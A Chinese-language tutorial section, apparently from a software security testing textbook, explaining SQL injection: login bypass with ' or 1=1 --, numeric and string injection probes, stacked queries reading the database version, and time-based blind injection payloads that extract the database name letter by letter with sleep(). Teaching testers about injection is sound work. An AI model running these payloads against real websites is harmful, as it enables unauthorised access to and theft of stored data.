2.5 SQL注入
1. SQL注入原理
SQL注入是WEB软件安全重要的内容,其原理如下。假设有如24登录界面。
24 登录界面
后台是通过拼SQL语句的形式来获取用户名和密码变量的。
sqlStr = "select * fromuser where username= 'var1' password= 'var2'"; result = execute(sqlStr); if result { //进入登录成功页面 }
其中var1获取的是用户名文本框填写的内容,var2获取的是密码文本框填写的内容。假设用户在var1中输入:1111,var2中输入:' or 1=1 --',这样第一条SQL语句变为。
sqlStr = select * from userwhere username= '1111' password= '' or 1=1 --''
由于1=1是恒等式,前面又是or,所以返回的result值肯定不为空,肯定可以进入登录成功页面。在SQL注入中。
- 拼SQL语句。
- 通过注释符屏蔽字符。
是两个基本的技能。
2. SQL注入类型
1)数字注入与字符注入
①数字注入
上面对于登录就是通过数字的恒等来进行注入,属于数字注入。除了数字恒等以外,也可以利用不等,或者恒等与不等相结合来进行判断。对于如下的URL。
http://www.mydomain.com/index.jsp?id=8:页面正常显示。
对应的SQL语句可能为:select * from table where id = 8。把id=8后面加入恒等1=1,即:
http://www.mydomain.com/index.jsp?id=8 and 1=1:页面仍旧可以正常显示。
对应的SQL语句可能为:select * from table where id = 8 and 1=1。后面加入不等1=2,即:
http://www.mydomain.com/index.jsp?id=8 and 1=2:页面仍旧无法正常显示。
对应的SQL语句可能为:select * from table where id = 8 and 1=2。
由此可以判断这个页面存在SQL注入漏洞,可以进行进一步的攻击。
②字符注入
把数字注入的1=1改为'1'='1'即为字符注入。比如select * from table whereid = 8 and '1'='1' 和select * from table where id = 8 and '1'='2'。
在注入的时候注意把多余字符通过注释符过滤掉。比如SQL语句:“select * from table where id ='var'”。
如果是数字注入,把var:id=8 and 1=1带入为select * from table where id ='id=8 and1=1',这样就不对了,如果改为select * from table where id ='id=8' and1=1--',这时var:id=8' and1=1--。
如果是字符注入,把var:id=8 and '1'='1'带入为select * from table where id ='id=8 and '1'='1'',也是不对的,如果改为select * fromtable where id ='id=8'and '1'='1'--',这时var:id=8' and '1'='1'--。
2)盲注与非盲注
①盲注
盲注就是在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面,但是可以告诉你错误或正确。比如原理里面的登录就属于盲注,它不会告诉查询结果的具体信息,仅仅告诉你查询是否正确或失败(登录是否成功),对于盲注通常采用布尔形式和延时注入两种方式,前面讲到的均为布尔形式,延时注入下面会讲到。
②非盲注
比如一个SQL查询语句,select * from user where name='var' ; 变量var为用户输入的用户名,然后显示输入用户的详细信息。如果这个页面存在SQL注入,把var赋值为:admin' or 1=1 --,这时SQL查询语句变为,select * from user where name= ' admin' or 1=1 --' ;得到如下user表中的所有信息。
MariaDB [sec]> select * from user where name='admin'or 1=1; +----+-------+----------+ | id | name |password | +----+-------+----------+ | 1 | jerry |654321 | | 2 | cindy |123456 | | 3 | linda | zzvvhy| | 4 | susan |qwert | | 5 | peter |zxcvb | +----+-------+----------+ 5 rows in set (0.00 sec)
在MySQL中可以通过;隔离两个完全不同的SQL语句。仍旧以查询语句select * from user wherename= 'var' ;为例,赋予var为:'; select @@version)',此时SQL语句为:select * from user where name='admin';select@@version;,即可达到获知数据库版本信息。
MariaDB [sec]> select * from user wherename='admin';select @@version; Empty set (0.00 sec) +-----------------+ | @@version | +-----------------+ | 10.1.19-MariaDB | +-----------------+ 1 row in set (0.00 sec)
3)延时注入和非延时注入
①非延时注入
上面讲到的都是非延时注入。
②延时注入
通过sleep(sec)来判断是否存在SQL注入。比如SQL语句:select * from user where id =$var,$var赋值为:2 and sleep(5),这样SQL语句变为select * from user where id =2 and sleep(5),检查页面是否间隔5秒钟后才显示,如果是说明这个页面存在延时注入,否则不存在。
另外还可以通过延时注入与If(Condition,True,False)函数来判断数据库中是否存在某个特定字符。首先来介绍函数If(Condition,True,False)。如果Condition条件为真,执行True中的语句,否则执行False语句。然后来介绍这个功能,先看代码。
.php?name=user1' and if((selectord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1 .php?name=user1' and if((selectord(substring(database(),1,1))) = 98,sleep(5),1) and '1'='1 .php?name=user1' and if((selectord(substring(database(),1,1))) = 99,sleep(5),1) and '1'='1 .php?name=user1' and if((selectord(substring(database(),1,1))) = 100,sleep(5),1) and '1'='1 … .php?name=user1' and if((selectord(substring(database(),1,1))) = 122,sleep(5),1) and '1'='1
97-122是小写字母'a'-'z'的ASCII字符。进入页面.php?name=user1' and if((select ord(substring(database(),1,1))) =97,sleep(5),1) and '1'='1,如果当前数据库名中存在'a'字符,则延迟五秒钟后回显页面,否则马上回显页面。一直到.php?name=user1' and if((select ord(substring(database(),1,1))) =122,sleep(5),1) and '1'='1就可以判断数据库名含有哪些字符,然后就可以进一步采用猜测的方法来获取了。
4)UNION联合查询
联合查询即利用UNION来进行查询,通过联合查询可以获得数据库的元信息。由于元信息与数据库产品密切相关,不同的数据库获取元信息不同,在下面标准数据库中将详细介绍
星云测试
奇林软件
联合通测